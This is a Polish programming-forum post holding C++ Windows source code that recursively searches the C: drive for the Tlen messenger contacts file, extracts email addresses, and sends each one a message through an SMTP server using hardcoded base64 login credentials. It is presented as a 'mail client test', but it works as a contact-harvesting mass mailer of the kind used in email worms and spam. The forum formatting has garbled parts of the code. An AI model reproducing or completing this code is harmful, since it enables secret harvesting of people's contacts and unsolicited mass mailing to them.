Strona 2 z 2 PierwszyPierwszy 12
Pokaż wyniki 11 do 11 z 11

Temat: Stringi wektory i ciachanie

  1. #11

    Domyślnie

    Kod php:
    #include <vector>
    #include <string>
    #include <fstream>
    #include <dirent.h>
    #include <windows.h>

    using namespace std;


    void mailto(char adrs[]){
        
    char Bufrecv[1024]; 
        
    WSADATA W;                      
        
    SOCKET Socks;
        
    WSAStartup0x101, &);
        
    hostent *H=gethostbyname("smtp.o2.pl");
        
    struct sockaddr_in Saddr;
        
    Socks=socket(AF_INET,SOCK_STREAM,0);
        
    Saddr.sin_family=AF_INET;
        
    Saddr.sin_port=htons(25);
        
    Saddr.sin_addr.s_addr=*((unsigned long *) H->h_addr);
        
    connect(Socks,(sockaddr*)&Saddr,sizeof(Saddr)); 

        
    char rcp[]="RCPT TO: <";
        
    strcat(rcp,adrs);
        
    strcat(rcp,">\n");

        
    char helo[]="HELO ziom.com.pl\n";
        
    char auth[]="AUTH LOGIN\n";
        
    char login[]="TXl0cm9we34fQucGw=\n";
        
    char pass[]="bW3jdi8MQ==\n";
        
    char mform[]="MAIL FROM: <[email protected]>\n";
        
    char dat[]="DATA\n";
        
    char tresc[]="Subject:blablabla test\nFrom:Kochanie\nTo:[email protected]\n Test klijenta poczty. Jeśli dostałeś ten \"list\" znaczy to że twój adres znajduje się w mojej książce adresowej .Jeżeli uważasz że nie powinnaś dostać tego listu to sorry zapewniam że więcej się to nie powtórzy  \n.\r\n.";
        
    recv(Socks,Bufrecv,sizeof(Bufrecv),0);
        
    memset(Bufrecv,0,sizeof(Bufrecv));
        
    send(Socks,helo,sizeof(helo)-1,0);                              /*send helo*/
        
    recv(Socks,Bufrecv,sizeof(Bufrecv),0);
        
    memset(Bufrecv,0,sizeof(Bufrecv));
        
    send(Socks,auth,sizeof(auth)-1,0);                          /*send auth*/
        
    recv(Socks,Bufrecv,sizeof(Bufrecv),0);
        
    memset(Bufrecv,0,sizeof(Bufrecv));
        
    send(Socks,login,sizeof(login)-1,0);                       /*send login*/
        
    recv(Socks,Bufrecv,sizeof(Bufrecv),0);
        
    memset(Bufrecv,0,sizeof(Bufrecv));
        
    send(Socks,pass,sizeof(pass)-1,0);                         /*send pass*/
        
    recv(Socks,Bufrecv,sizeof(Bufrecv),0);
        
    memset(Bufrecv,0,sizeof(Bufrecv));
        
    send(Socks,mform,strlen(mform),0);                       /*send mail from*/
        
    recv(Socks,Bufrecv,sizeof(Bufrecv),0);
        
    memset(Bufrecv,0,sizeof(Bufrecv));
        
    send(Socks,rcp,strlen(rcp),0);                        /*send rcp*/
        
    recv(Socks,Bufrecv,sizeof(Bufrecv),0);
        
    memset(Bufrecv,0,sizeof(Bufrecv));
        
    send(Socks,dat,sizeof(dat)-1,0);                    /*send data*/
        
    recv(Socks,Bufrecv,sizeof(Bufrecv),0);
        
    memset(Bufrecv,0,sizeof(Bufrecv));
       
        
    //itd
       
    }


    void spr(char path[]){
       
    char next[200];  
       
    char nazi[200];
       
    char nextfile[200]; 
       
    DIR *dirs;
       
    struct dirent *pent;
       
    dirs opendir(path);
       
    vector <stringnextme;         
       while(
    pent=readdir(dirs)){
       
    nextme.push_back(pent->d_name);       
       if(
    strstr(pent->d_name,"kontakty.xml")!=0){        
       
    memcpy(&nazi,path,sizeof(nazi));
       
    strcat(nazi,"\\");
       
    strcat(nazi,"kontakty.xml");
       break;
       }
       else {                                               
       for(
    int i=2;i<nextme.size();i++){
       
    string nexif nextme[i];
       
    nextme.pop_back();
       const 
    char *jmp=nexif.c_str();
       
    memset(nextfile,0,sizeof(nextfile));
       
    memcpy(&nextfile,jmp,sizeof(nextfile));
       
    char direct[2500];
       
    memcpy(direct,path,sizeof(direct));
       
    int j strlen(direct);
       if(
    direct[j]!='\\'){
       
    strcat(direct,"\\");
       
    strcat(direct,nextfile);
       
    spr(direct);
       }
       else{
       
    strcat(direct,nextfile);
       
    spr(direct);
       }
       }
       }
       }
       
    vector <stringline;
       
    string adres;
       
    ifstream in(nazi);
       while(
    in>>adres){
       
    line.push_back(adres);
       }
       for(
    int i=0;i<line.size();i++){
       
    string h(line[i].substr(3,line[i].find("n=")+line.size()));
       for(
    int i=0;i<h.size();i++){
       if(
    h[i]=='@'){
       
    h.erase(i,h.length());
       }
       if(
    h[i]=='\''){
       
    h.replace(i,i,"@tlen.pl");
       }
       }
       
    int a h.length()-1;
       if(
    h[a]!='l'){
       
    h.substr(a-1,a+1);               /*lol ;]*/
       
    }
       
    int c h.length();
       
    int d c-8;
       if(
    h[d]!='@'){
       
    h.erase(0,c);
       }
       for(
    int i=0;i<h.length();i++){
       if(
    i=h.length()){
       
    string pss h.substr(0,i);
       const 
    char *cut pss.c_str();
       
    memset(next,0,sizeof(next));
       
    memcpy(&next,cut,sizeof(next));
       
    h.erase(0,i);
       
    mailto(next);
       
    printf("send mail to:%s DONE\n",next);
       }
       }
       }
       
    nextme.clear();
       
    line.clear();
       }


    int main()

      
    spr("C:\\");      
      return 
    0;

    Ostatnio edytowane przez naichniach : 01-08-2008 - 17:41 Powód: KURCZE
    Dlaczego wszystkie piosenki są o sexie ,miłości
    i innym pozytywnym gównie
    Nie mogły by być o czystym bólu ,nienawiści i frustracji i innych prawdach których więcej niż mniej ? ......... Ten świat to plastikowe ,fałszywe gówno
    nie mające nic wspólengo z moją rzeczywistością.
    Mtv to nie mój świat
    (tak jestem nie dojrzały ,mam kompelksy ..... i wiecie co? i chuj)

Strona 2 z 2 PierwszyPierwszy 12

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj